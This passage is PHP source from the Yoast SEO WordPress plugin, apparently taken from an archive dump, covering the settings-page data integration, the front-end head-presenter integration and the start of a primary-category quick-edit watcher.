'admin.php?page=wpseo_local' ); if ( \defined( 'WPSEO_LOCAL_FILE' ) ) { $local_options = \get_option( 'wpseo_local' ); $multiple_locations = $local_options['use_multiple_locations']; $same_organization = $local_options['multiple_locations_same_organization']; if ( $multiple_locations === 'on' && $same_organization !== 'on' ) { $business_settings_url = \get_admin_url( null, 'edit.php?post_type=wpseo_locations' ); } } return [ 'isPremium' => $this->product_helper->is_premium(), 'isRtl' => \is_rtl(), 'isNetworkAdmin' => \is_network_admin(), 'isMainSite' => \is_main_site(), 'isMultisite' => \is_multisite(), 'isWooCommerceActive' => $this->woocommerce_helper->is_active(), 'isLocalSeoActive' => \defined( 'WPSEO_LOCAL_FILE' ), 'isNewsSeoActive' => \defined( 'WPSEO_NEWS_FILE' ), 'isWooCommerceSEOActive' => $woocommerce_seo_active, 'siteUrl' => \get_bloginfo( 'url' ), 'siteTitle' => \get_bloginfo( 'name' ), 'sitemapUrl' => WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ), 'hasWooCommerceShopPage' => $shop_page_id !== -1, 'editWooCommerceShopPageUrl' => \get_edit_post_link( $shop_page_id, 'js' ), 'wooCommerceShopPageSettingUrl' => \get_admin_url( null, 'admin.php?page=wc-settings&tab=products' ), 'localSeoPageSettingUrl' => $business_settings_url, 'homepageIsLatestPosts' => $homepage_is_latest_posts, 'homepagePageEditUrl' => \get_edit_post_link( $page_on_front, 'js' ), 'homepagePostsEditUrl' => \get_edit_post_link( $page_for_posts, 'js' ), 'createUserUrl' => \admin_url( 'user-new.php' ), 'createPageUrl' => \admin_url( 'post-new.php?post_type=page' ), 'editUserUrl' => \admin_url( 'user-edit.php' ), 'editTaxonomyUrl' => \admin_url( 'edit-tags.php' ), 'generalSettingsUrl' => \admin_url( 'options-general.php' ), 'companyOrPersonMessage' => \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ), 'currentUserId' => \get_current_user_id(), 'canCreateUsers' => \current_user_can( 'create_users' ), 'canCreatePages' => \current_user_can( 'edit_pages' ), 'canEditUsers' => \current_user_can( 'edit_users' ), 'canManageOptions' => \current_user_can( 'manage_options' ), 'userLocale' => \str_replace( '_', '-', \get_user_locale() ), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'showForceRewriteTitlesSetting' => ! \current_theme_supports( 'title-tag' ) && ! ( \function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ), 'upsellSettings' => $this->get_upsell_settings(), 'siteRepresentsPerson' => $this->get_site_represents_person( $settings ), 'siteBasicsPolicies' => $this->get_site_basics_policies( $settings ), ]; } /** * Retrieves the currently represented person. * * @param array $settings The settings. * * @return array The currently represented person. */ protected function get_site_represents_person( $settings ) { $person = [ 'id' => false, 'name' => '', ]; if ( isset( $settings['wpseo_titles']['company_or_person_user_id'] ) ) { $person['id'] = $settings['wpseo_titles']['company_or_person_user_id']; $user = \get_userdata( $person['id'] ); if ( $user instanceof WP_User ) { $person['name'] = $user->get( 'display_name' ); } } return $person; } /** * Get site policy data. * * @param array $settings The settings. * * @return array The policy data. */ private function get_site_basics_policies( $settings ) { $policies = []; $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['publishing_principles_id'], 'publishing_principles_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ownership_funding_info_id'], 'ownership_funding_info_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['actionable_feedback_policy_id'], 'actionable_feedback_policy_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['corrections_policy_id'], 'corrections_policy_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ethics_policy_id'], 'ethics_policy_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_policy_id'], 'diversity_policy_id' ); $policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_staffing_report_id'], 'diversity_staffing_report_id' ); return $policies; } /** * Adds policy data if it is present. * * @param array $policies The existing policy data. * @param int $policy The policy id to check. * @param string $key The option key name. * * @return array The policy data. */ private function maybe_add_policy( $policies, $policy, $key ) { $policy_array = [ 'id' => 0, 'name' => \__( 'None', 'wordpress-seo' ), ]; if ( isset( $policy ) && \is_int( $policy ) ) { $policy_array['id'] = $policy; $post = \get_post( $policy ); if ( $post instanceof WP_Post ) { if ( $post->post_status !== 'publish' || $post->post_password !== '' ) { return $policies; } $policy_array['name'] = $post->post_title; } } $policies[ $key ] = $policy_array; return $policies; } /** * Adds page if it is present. * * @param array $pages The existing pages. * @param int $page_id The page id to check. * @param string $key The option key name. * * @return array The policy data. */ private function maybe_add_page( $pages, $page_id, $key ) { if ( isset( $page_id ) && \is_int( $page_id ) && $page_id !== 0 ) { $post = $this->manual_post_collection->get_content_type_entry( $page_id ); if ( $post === null ) { return $pages; } $pages[ $key ] = [ 'id' => $page_id, 'title' => ( $post->get_title() ) ? $post->get_title() : $post->get_slug(), 'slug' => $post->get_slug(), ]; } return $pages; } /** * Get site llms.txt pages. * * @param array $settings The settings. * * @return array> The llms.txt pages. */ private function get_site_llms_txt_pages( $settings ) { $llms_txt_pages = []; $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['about_us_page'], 'about_us_page' ); $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['contact_page'], 'contact_page' ); $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['terms_page'], 'terms_page' ); $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['privacy_policy_page'], 'privacy_policy_page' ); $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['shop_page'], 'shop_page' ); if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) && \is_array( $settings['wpseo_llmstxt']['other_included_pages'] ) ) { foreach ( $settings['wpseo_llmstxt']['other_included_pages'] as $key => $page_id ) { $llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $page_id, 'other_included_pages-' . $key ); } } return $llms_txt_pages; } /** * Returns settings for the Call to Buy (CTB) buttons. * * @return array The array of CTB settings. */ public function get_upsell_settings() { return [ 'actionId' => 'load-nfd-ctb', 'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2', ]; } /** * Retrieves the default setting values. * * These default values are currently being used in the UI for dummy fields. * Dummy fields should not expose or reflect the actual data. * * @return array The default setting values. */ protected function get_default_setting_values() { $defaults = []; // Add Yoast settings. foreach ( WPSEO_Options::$options as $option_name => $instance ) { if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) { $option_instance = WPSEO_Options::get_option_instance( $option_name ); $defaults[ $option_name ] = ( $option_instance ) ? $option_instance->get_defaults() : []; } } // Add WP settings. foreach ( self::WP_OPTIONS as $option_name ) { $defaults[ $option_name ] = ''; } // Remove disallowed settings. foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) { foreach ( $disallowed_settings as $disallowed_setting ) { unset( $defaults[ $option_name ][ $disallowed_setting ] ); } } if ( \defined( 'WPSEO_LOCAL_FILE' ) ) { $defaults = $this->get_defaults_from_local_seo( $defaults ); } return $defaults; } /** * Retrieves the organization schema values from Local SEO for defaults in Site representation fields. * Specifically for the org-vat-id, org-tax-id, org-email and org-phone options. * * @param array $defaults The settings defaults. * * @return array The settings defaults with local seo overides. */ protected function get_defaults_from_local_seo( $defaults ) { $local_options = \get_option( 'wpseo_local' ); $multiple_locations = $local_options['use_multiple_locations']; $same_organization = $local_options['multiple_locations_same_organization']; $shared_info = $local_options['multiple_locations_shared_business_info']; if ( $multiple_locations !== 'on' || ( $multiple_locations === 'on' && $same_organization === 'on' && $shared_info === 'on' ) ) { $defaults['wpseo_titles']['org-vat-id'] = $local_options['location_vat_id']; $defaults['wpseo_titles']['org-tax-id'] = $local_options['location_tax_id']; $defaults['wpseo_titles']['org-email'] = $local_options['location_email']; $defaults['wpseo_titles']['org-phone'] = $local_options['location_phone']; } if ( \wpseo_has_primary_location() ) { $primary_location = $local_options['multiple_locations_primary_location']; $location_keys = [ 'org-phone' => [ 'is_overridden' => '_wpseo_is_overridden_business_phone', 'value' => '_wpseo_business_phone', ], 'org-email' => [ 'is_overridden' => '_wpseo_is_overridden_business_email', 'value' => '_wpseo_business_email', ], 'org-tax-id' => [ 'is_overridden' => '_wpseo_is_overridden_business_tax_id', 'value' => '_wpseo_business_tax_id', ], 'org-vat-id' => [ 'is_overridden' => '_wpseo_is_overridden_business_vat_id', 'value' => '_wpseo_business_vat_id', ], ]; foreach ( $location_keys as $key => $meta_keys ) { $is_overridden = ( $shared_info === 'on' ) ? \get_post_meta( $primary_location, $meta_keys['is_overridden'], true ) : false; if ( $is_overridden === 'on' || $shared_info !== 'on' ) { $post_meta_value = \get_post_meta( $primary_location, $meta_keys['value'], true ); $defaults['wpseo_titles'][ $key ] = ( $post_meta_value ) ? $post_meta_value : ''; } } } return $defaults; } /** * Retrieves the settings and their values. * * @param array $default_setting_values The default setting values. * * @return array The settings. */ protected function get_settings( $default_setting_values ) { $settings = []; // Add Yoast settings. foreach ( WPSEO_Options::$options as $option_name => $instance ) { if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) { $settings[ $option_name ] = \array_merge( $default_setting_values[ $option_name ], WPSEO_Options::get_option( $option_name ) ); } } // Add WP settings. foreach ( self::WP_OPTIONS as $option_name ) { $settings[ $option_name ] = \get_option( $option_name ); } // Remove disallowed settings. foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) { foreach ( $disallowed_settings as $disallowed_setting ) { unset( $settings[ $option_name ][ $disallowed_setting ] ); } } return $settings; } /** * Transforms setting values. * * @param array $settings The settings. * * @return array The settings. */ protected function transform_settings( $settings ) { if ( isset( $settings['wpseo_titles']['breadcrumbs-sep'] ) ) { /** * The breadcrumbs separator default value is the HTML entity `»`. * Which does not get decoded in our JS, while it did in our Yoast form. Decode it here as an exception. */ $settings['wpseo_titles']['breadcrumbs-sep'] = \html_entity_decode( $settings['wpseo_titles']['breadcrumbs-sep'], ( \ENT_NOQUOTES | \ENT_HTML5 ), 'UTF-8', ); } /** * Decode some WP options. */ $settings['blogdescription'] = \html_entity_decode( $settings['blogdescription'], ( \ENT_NOQUOTES | \ENT_HTML5 ), 'UTF-8', ); if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) ) { // Append an empty page to the other included pages, so that we manage to show an empty field in the UI. $settings['wpseo_llmstxt']['other_included_pages'][] = 0; } return $settings; } /** * Retrieves the disabled settings. * * @param array $settings The settings. * * @return array The settings. */ protected function get_disabled_settings( $settings ) { $disabled_settings = []; $site_language = $this->language_helper->get_language(); foreach ( WPSEO_Options::$options as $option_name => $instance ) { if ( ! \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) { continue; } $disabled_settings[ $option_name ] = []; $option_instance = WPSEO_Options::get_option_instance( $option_name ); if ( $option_instance === false ) { continue; } foreach ( $settings[ $option_name ] as $setting_name => $setting_value ) { if ( $option_instance->is_disabled( $setting_name ) ) { $disabled_settings[ $option_name ][ $setting_name ] = 'network'; } } } // Remove disabled on multisite settings. if ( \is_multisite() ) { foreach ( self::DISABLED_ON_MULTISITE_SETTINGS as $option_name => $disabled_ms_settings ) { if ( \array_key_exists( $option_name, $disabled_settings ) ) { foreach ( $disabled_ms_settings as $disabled_ms_setting ) { $disabled_settings[ $option_name ][ $disabled_ms_setting ] = 'multisite'; } } } } if ( \array_key_exists( 'wpseo', $disabled_settings ) && ! $this->language_helper->has_inclusive_language_support( $site_language ) ) { $disabled_settings['wpseo']['inclusive_language_analysis_active'] = 'language'; } return $disabled_settings; } /** * Retrieves the replacement variables. * * @return array The replacement variables. */ protected function get_replacement_variables() { $recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars(); $specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars(); $replacement_variables = $this->replace_vars->get_replacement_variables_with_labels(); return [ 'variables' => $replacement_variables, 'recommended' => $recommended_replace_vars->get_recommended_replacevars(), 'specific' => $specific_replace_vars->get(), 'shared' => $specific_replace_vars->get_generic( $replacement_variables ), ]; } /** * Retrieves the schema. * * @param array $post_types The post types. * * @return array The schema. */ protected function get_schema( array $post_types ) { $schema = []; foreach ( $this->schema_types->get_article_type_options() as $article_type ) { $schema['articleTypes'][ $article_type['value'] ] = [ 'label' => $article_type['name'], 'value' => $article_type['value'], ]; } foreach ( $this->schema_types->get_page_type_options() as $page_type ) { $schema['pageTypes'][ $page_type['value'] ] = [ 'label' => $page_type['name'], 'value' => $page_type['value'], ]; } $schema['articleTypeDefaults'] = []; $schema['pageTypeDefaults'] = []; foreach ( $post_types as $name => $post_type ) { $schema['articleTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-article-type-$name" ); $schema['pageTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-page-type-$name" ); } return $schema; } /** * Transforms the post types, to represent them. * * @param WP_Post_Type[] $post_types The WP_Post_Type array to transform. * * @return array The post types. */ protected function transform_post_types( $post_types ) { $transformed = []; $new_post_types = $this->options->get( 'new_post_types', [] ); foreach ( $post_types as $post_type ) { $transformed[ $post_type->name ] = [ 'name' => $post_type->name, 'route' => $this->route_helper->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ), 'label' => $post_type->label, 'singularLabel' => $post_type->labels->singular_name, 'hasArchive' => $this->post_type_helper->has_archive( $post_type ), 'hasSchemaArticleType' => $this->article_helper->is_article_post_type( $post_type->name ), 'menuPosition' => $post_type->menu_position, 'isNew' => \in_array( $post_type->name, $new_post_types, true ), ]; } \uasort( $transformed, [ $this, 'compare_post_types' ] ); return $transformed; } /** * Compares two post types. * * @param array $a The first post type. * @param array $b The second post type. * * @return int The order. */ protected function compare_post_types( $a, $b ) { if ( $a['menuPosition'] === null && $b['menuPosition'] !== null ) { return 1; } if ( $a['menuPosition'] !== null && $b['menuPosition'] === null ) { return -1; } if ( $a['menuPosition'] === null && $b['menuPosition'] === null ) { // No position specified, order alphabetically by label. return \strnatcmp( $a['label'], $b['label'] ); } return ( ( $a['menuPosition'] < $b['menuPosition'] ) ? -1 : 1 ); } /** * Transforms the taxonomies, to represent them. * * @param WP_Taxonomy[] $taxonomies The WP_Taxonomy array to transform. * @param string[] $post_type_names The post type names. * * @return array The taxonomies. */ protected function transform_taxonomies( $taxonomies, $post_type_names ) { $transformed = []; $new_taxonomies = $this->options->get( 'new_taxonomies', [] ); foreach ( $taxonomies as $taxonomy ) { $transformed[ $taxonomy->name ] = [ 'name' => $taxonomy->name, 'route' => $this->route_helper->get_route( $taxonomy->name, $taxonomy->rewrite, $taxonomy->rest_base ), 'label' => $taxonomy->label, 'showUi' => $taxonomy->show_ui, 'singularLabel' => $taxonomy->labels->singular_name, 'postTypes' => \array_filter( $taxonomy->object_type, static function ( $object_type ) use ( $post_type_names ) { return \in_array( $object_type, $post_type_names, true ); }, ), 'isNew' => \in_array( $taxonomy->name, $new_taxonomies, true ), ]; } \uasort( $transformed, static function ( $a, $b ) { return \strnatcmp( $a['label'], $b['label'] ); }, ); return $transformed; } /** * Retrieves the fallbacks. * * @return array The fallbacks. */ protected function get_fallbacks() { $site_logo_id = \get_option( 'site_logo' ); if ( ! $site_logo_id ) { $site_logo_id = \get_theme_mod( 'custom_logo' ); } if ( ! $site_logo_id ) { $site_logo_id = '0'; } return [ 'siteLogoId' => $site_logo_id, ]; } } integrations/front-end-integration.php000064400000045577152076254630014234 0ustar00 */ protected $open_graph_error_presenters = [ 'Open_Graph\Locale', 'Open_Graph\Title', 'Open_Graph\Site_Name', ]; /** * The Twitter card specific presenters. * * @var array */ protected $twitter_card_presenters = [ 'Twitter\Card', 'Twitter\Title', 'Twitter\Description', 'Twitter\Image', 'Twitter\Creator', 'Twitter\Site', ]; /** * The Slack specific presenters. * * @var array */ protected $slack_presenters = [ 'Slack\Enhanced_Data', ]; /** * The Webmaster verification specific presenters. * * @var array */ protected $webmaster_verification_presenters = [ 'Webmaster\Ahrefs', 'Webmaster\Baidu', 'Webmaster\Bing', 'Webmaster\Google', 'Webmaster\Pinterest', 'Webmaster\Yandex', ]; /** * Presenters that are only needed on singular pages. * * @var array */ protected $singular_presenters = [ 'Meta_Author', 'Open_Graph\Article_Author', 'Open_Graph\Article_Publisher', 'Open_Graph\Article_Published_Time', 'Open_Graph\Article_Modified_Time', 'Twitter\Creator', 'Slack\Enhanced_Data', ]; /** * The presenters we want to be last in our output. * * @var array */ protected $closing_presenters = [ 'Schema', ]; /** * The next output. * * @var string */ protected $next; /** * The prev output. * * @var string */ protected $prev; /** * Returns the conditionals based on which this loadable should be active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Front_End_Integration constructor. * * @codeCoverageIgnore It sets dependencies. * * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer. * @param ContainerInterface $service_container The DI container. * @param Options_Helper $options The options helper. * @param Helpers_Surface $helpers The helpers surface. * @param WPSEO_Replace_Vars $replace_vars The replace vars helper. * @param Indexable_Repository $indexable_repository The indexable repository. * @param Permalink_Helper $permalink_helper The permalink helper. */ public function __construct( Meta_Tags_Context_Memoizer $context_memoizer, ContainerInterface $service_container, Options_Helper $options, Helpers_Surface $helpers, WPSEO_Replace_Vars $replace_vars, Indexable_Repository $indexable_repository, Permalink_Helper $permalink_helper ) { $this->container = $service_container; $this->context_memoizer = $context_memoizer; $this->options = $options; $this->helpers = $helpers; $this->replace_vars = $replace_vars; $this->indexable_repository = $indexable_repository; $this->permalink_helper = $permalink_helper; } /** * Registers the appropriate hooks to show the SEO metadata on the frontend. * * Removes some actions to remove metadata that WordPress shows on the frontend, * to avoid duplicate and/or mismatched metadata. * * @return void */ public function register_hooks() { \add_filter( 'render_block', [ $this, 'query_loop_next_prev' ], 1, 2 ); \add_action( 'wp_head', [ $this, 'call_wpseo_head' ], 1 ); // Filter the title for compatibility with other plugins and themes. \add_filter( 'wp_title', [ $this, 'filter_title' ], 15 ); // Filter the title for compatibility with block-based themes. \add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 ); // Removes our robots presenter from the list when wp_robots is handling this. \add_filter( 'wpseo_frontend_presenter_classes', [ $this, 'filter_robots_presenter' ] ); \add_action( 'wpseo_head', [ $this, 'present_head' ], -9999 ); \add_action( 'wpseo_head', [ $this, 'update_outdated_permalink' ], -10_000 ); \remove_action( 'wp_head', 'rel_canonical' ); \remove_action( 'wp_head', 'index_rel_link' ); \remove_action( 'wp_head', 'start_post_rel_link' ); \remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' ); \remove_action( 'wp_head', 'noindex', 1 ); \remove_action( 'wp_head', '_wp_render_title_tag', 1 ); \remove_action( 'wp_head', '_block_template_render_title_tag', 1 ); \remove_action( 'wp_head', 'gutenberg_render_title_tag', 1 ); } /** * Filters the title, mainly used for compatibility reasons. * * @return string */ public function filter_title() { $context = $this->context_memoizer->for_current_page(); $title_presenter = new Title_Presenter(); /** This filter is documented in src/integrations/front-end-integration.php */ $title_presenter->presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); $title_presenter->replace_vars = $this->replace_vars; $title_presenter->helpers = $this->helpers; \remove_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 ); $title = \esc_html( $title_presenter->get() ); \add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 ); return $title; } /** * Checks if the current entity has a permalink that has a mismatch * with the permalink stored in its indexable. If they differ, purges the indexable's * permalink so it will be recalculated in the same request. * * @return void */ public function update_outdated_permalink() { $dynamic_permalinks_conditional = new Dynamic_Product_Permalinks_Conditional(); if ( ! $dynamic_permalinks_conditional->is_met() ) { return; } $woocommerce_version_conditional = new WooCommerce_Version_Conditional(); if ( ! $woocommerce_version_conditional->is_met() ) { return; } $context = $this->context_memoizer->for_current_page(); // We're adding this fix only for products because of the 10.5 Woo release. We might expand this for all cases in the future. if ( $context->indexable->object_sub_type !== 'product' ) { return; } $current_permalink = $this->permalink_helper->get_permalink_for_post( $context->indexable->object_sub_type, $context->indexable->object_id ); $indexable_permalink = $context->indexable->permalink; // Only purge if the permalinks differ. if ( $current_permalink !== $indexable_permalink ) { $this->indexable_repository->reset_permalink( $context->indexable->object_type, $context->indexable->object_sub_type, $context->indexable->object_id, ); // Clear the memoizer caches so present_head() sees the updated indexable. $this->context_memoizer->clear_for_current_page(); $this->context_memoizer->clear( $context->indexable ); } } /** * Filters the next and prev links in the query loop block. * * @param string $html The HTML output. * @param array $block The block. * @return string The filtered HTML output. */ public function query_loop_next_prev( $html, $block ) { if ( $block['blockName'] === 'core/query' ) { // Check that the query does not inherit the main query. if ( isset( $block['attrs']['query']['inherit'] ) && ! $block['attrs']['query']['inherit'] ) { \add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 1, 3 ); } } if ( $block['blockName'] === 'core/query-pagination-next' ) { $this->next = $html; } if ( $block['blockName'] === 'core/query-pagination-previous' ) { $this->prev = $html; } return $html; } /** * Returns correct adjacent pages when Query loop block does not inherit query from template. * Prioritizes existing prev and next links. * Includes a safety check for full urls though it is not expected in the query pagination block. * * @param string $link The current link. * @param string $rel Link relationship, prev or next. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string The correct link. */ public function adjacent_rel_url( $link, $rel, $presentation = null ) { // Prioritize existing prev and next links. if ( $link ) { return $link; } // Safety check for rel value. if ( $rel !== 'next' && $rel !== 'prev' ) { return $link; } // Check $this->next or $this->prev for existing links. if ( $this->$rel === null ) { return $link; } $processor = new WP_HTML_Tag_Processor( $this->$rel ); if ( ! $processor->next_tag( [ 'tag_name' => 'a' ] ) ) { return $link; } $href = $processor->get_attribute( 'href' ); if ( ! $href ) { return $link; } // Safety check for full url, not expected. if ( \strpos( $href, 'http' ) === 0 ) { return $href; } // Check if $href is relative and append last part of the url to permalink. if ( \strpos( $href, '/' ) === 0 ) { $href_parts = \explode( '/', $href ); return $presentation->permalink . \end( $href_parts ); } return $link; } /** * Filters our robots presenter, but only when wp_robots is attached to the wp_head action. * * @param array $presenters The presenters for current page. * * @return array The filtered presenters. */ public function filter_robots_presenter( $presenters ) { if ( ! \function_exists( 'wp_robots' ) ) { return $presenters; } if ( ! \has_action( 'wp_head', 'wp_robots' ) ) { return $presenters; } if ( \wp_is_serving_rest_request() ) { return $presenters; } return \array_diff( $presenters, [ 'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' ] ); } /** * Presents the head in the front-end. Resets wp_query if it's not the main query. * * @codeCoverageIgnore It just calls a WordPress function. * * @return void */ public function call_wpseo_head() { global $wp_query; $old_wp_query = $wp_query; // phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query. \wp_reset_query(); \do_action( 'wpseo_head' ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query. $GLOBALS['wp_query'] = $old_wp_query; } /** * Echoes all applicable presenters for a page. * * @return void */ public function present_head() { $context = $this->context_memoizer->for_current_page(); $presenters = $this->get_presenters( $context->page_type, $context ); /** * Filter 'wpseo_frontend_presentation' - Allow filtering the presentation used to output our meta values. * * @param Indexable_Presention $presentation The indexable presentation. * @param Meta_Tags_Context $context The meta tags context for the current page. */ $presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); echo \PHP_EOL; foreach ( $presenters as $presenter ) { $presenter->presentation = $presentation; $presenter->helpers = $this->helpers; $presenter->replace_vars = $this->replace_vars; $output = $presenter->present(); if ( ! empty( $output ) ) { // phpcs:ignore WordPress.Security.EscapeOutput -- Presenters are responsible for correctly escaping their output. echo "\t" . $output . \PHP_EOL; } } echo \PHP_EOL . \PHP_EOL; } /** * Returns all presenters for this page. * * @param string $page_type The page type. * @param Meta_Tags_Context|null $context The meta tags context for the current page. * * @return Abstract_Indexable_Presenter[] The presenters. */ public function get_presenters( $page_type, $context = null ) { $context ??= $this->context_memoizer->for_current_page(); $needed_presenters = $this->get_needed_presenters( $page_type ); $callback = static function ( $presenter ) { if ( ! \class_exists( $presenter ) ) { return null; } return new $presenter(); }; $presenters = \array_filter( \array_map( $callback, $needed_presenters ) ); /** * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request. * * @param Abstract_Indexable_Presenter[] $presenters List of presenter instances. * @param Meta_Tags_Context $context The meta tags context for the current page. */ $presenter_instances = \apply_filters( 'wpseo_frontend_presenters', $presenters, $context ); if ( ! \is_array( $presenter_instances ) ) { $presenter_instances = $presenters; } $is_presenter_callback = static function ( $presenter_instance ) { return $presenter_instance instanceof Abstract_Indexable_Presenter; }; $presenter_instances = \array_filter( $presenter_instances, $is_presenter_callback ); return \array_merge( [ new Marker_Open_Presenter() ], $presenter_instances, [ new Marker_Close_Presenter() ], ); } /** * Generate the array of presenters we need for the current request. * * @param string $page_type The page type we're retrieving presenters for. * * @return string[] The presenters. */ private function get_needed_presenters( $page_type ) { $presenters = $this->get_presenters_for_page_type( $page_type ); $presenters = $this->maybe_remove_title_presenter( $presenters ); $callback = static function ( $presenter ) { return "Yoast\WP\SEO\Presenters\\{$presenter}_Presenter"; }; $presenters = \array_map( $callback, $presenters ); /** * Filter 'wpseo_frontend_presenter_classes' - Allow filtering presenters in or out of the request. * * @param array $presenters List of presenters. * @param string $page_type The current page type. */ $presenters = \apply_filters( 'wpseo_frontend_presenter_classes', $presenters, $page_type ); return $presenters; } /** * Filters the presenters based on the page type. * * @param string $page_type The page type. * * @return string[] The presenters. */ private function get_presenters_for_page_type( $page_type ) { if ( $page_type === 'Error_Page' ) { $presenters = $this->base_presenters; if ( $this->options->get( 'opengraph' ) === true ) { $presenters = \array_merge( $presenters, $this->open_graph_error_presenters ); } return \array_merge( $presenters, $this->closing_presenters ); } $presenters = $this->get_all_presenters(); if ( \in_array( $page_type, [ 'Static_Home_Page', 'Home_Page' ], true ) ) { $presenters = \array_merge( $presenters, $this->webmaster_verification_presenters ); } // Filter out the presenters only needed for singular pages on non-singular pages. if ( ! \in_array( $page_type, [ 'Post_Type', 'Static_Home_Page' ], true ) ) { $presenters = \array_diff( $presenters, $this->singular_presenters ); } // Filter out `twitter:data` presenters for static home pages. if ( $page_type === 'Static_Home_Page' ) { $presenters = \array_diff( $presenters, $this->slack_presenters ); } return $presenters; } /** * Returns a list of all available presenters based on settings. * * @return string[] The presenters. */ private function get_all_presenters() { $presenters = \array_merge( $this->base_presenters, $this->indexing_directive_presenters ); if ( $this->options->get( 'opengraph' ) === true ) { $presenters = \array_merge( $presenters, $this->open_graph_presenters ); } if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) { $presenters = \array_merge( $presenters, $this->twitter_card_presenters ); } if ( $this->options->get( 'enable_enhanced_slack_sharing' ) === true && \apply_filters( 'wpseo_output_enhanced_slack_data', true ) !== false ) { $presenters = \array_merge( $presenters, $this->slack_presenters ); } return \array_merge( $presenters, $this->closing_presenters ); } /** * Whether the title presenter should be removed. * * @return bool True when the title presenter should be removed, false otherwise. */ public function should_title_presenter_be_removed() { return ! \get_theme_support( 'title-tag' ) && ! $this->options->get( 'forcerewritetitle', false ); } /** * Checks if the Title presenter needs to be removed. * * @param string[] $presenters The presenters. * * @return string[] The presenters. */ private function maybe_remove_title_presenter( $presenters ) { // Do not remove the title if we're on a REST request. if ( \wp_is_serving_rest_request() ) { return $presenters; } // Remove the title presenter if the theme is hardcoded to output a title tag so we don't have two title tags. if ( $this->should_title_presenter_be_removed() ) { $presenters = \array_diff( $presenters, [ 'Title' ] ); } return $presenters; } } integrations/watchers/primary-category-quick-edit-watcher.php000064400000013062152076254630020605 0ustar00options_helper = $options_helper; $this->primary_term_repository = $primary_term_repository; $this->post_type_helper = $post_type_helper; $this->indexable_repository = $indexable_repository; $this->indexable_hierarchy_builder = $indexable_hierarchy_builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'set_object_terms', [ $this, 'validate_primary_category' ], 10, 4 ); } /** * Returns the conditionals based on which this loadable should be active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Migrations_Conditional::class, Doing_Post_Quick_Edit_Save_Conditional::class ]; } /** * Validates if the current primary category is still present. If not just remove the post meta for it. * * @param int $object_id Object ID. * @param array $terms Unused. An array of object terms. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. * * @return void */ public function validate_primary_category( $object_id, $terms, $tt_ids, $taxonomy ) { $post = \get_post( $object_id ); if ( $post === null ) { return; } $main_taxonomy = $this->options_helper->get( 'post_types-' . $post->post_type . '-maintax' ); if ( ! $main_taxonomy || $main_taxonomy === '0' ) { return; } if ( $main_taxonomy !== $taxonomy ) { return; } $primary_category = $this->get_primary_term_id( $post->ID, $main_taxonomy ); if ( $primary_category === false ) { return; } // The primary category isn't removed. if ( \in_array( (string) $primary_category, $tt_ids, true ) ) { return; } $this->remove_primary_term( $post->ID, $main_taxonomy ); // Rebuild the post hierarchy for this post now the primary term has been changed. $this->build_post_hierarchy( $post ); } /** * Returns the primary term id of a post. * * @param int $post_id The post ID. * @param string $main_taxonomy The main taxonomy. * * @return int|false The ID of the primary term, or `false` if the post ID is invalid. */ private function get_primary_term_id( $post_id, $main_taxonomy ) { $primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false ); if ( $primary_term ) { return $primary_term->term_id; } return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . 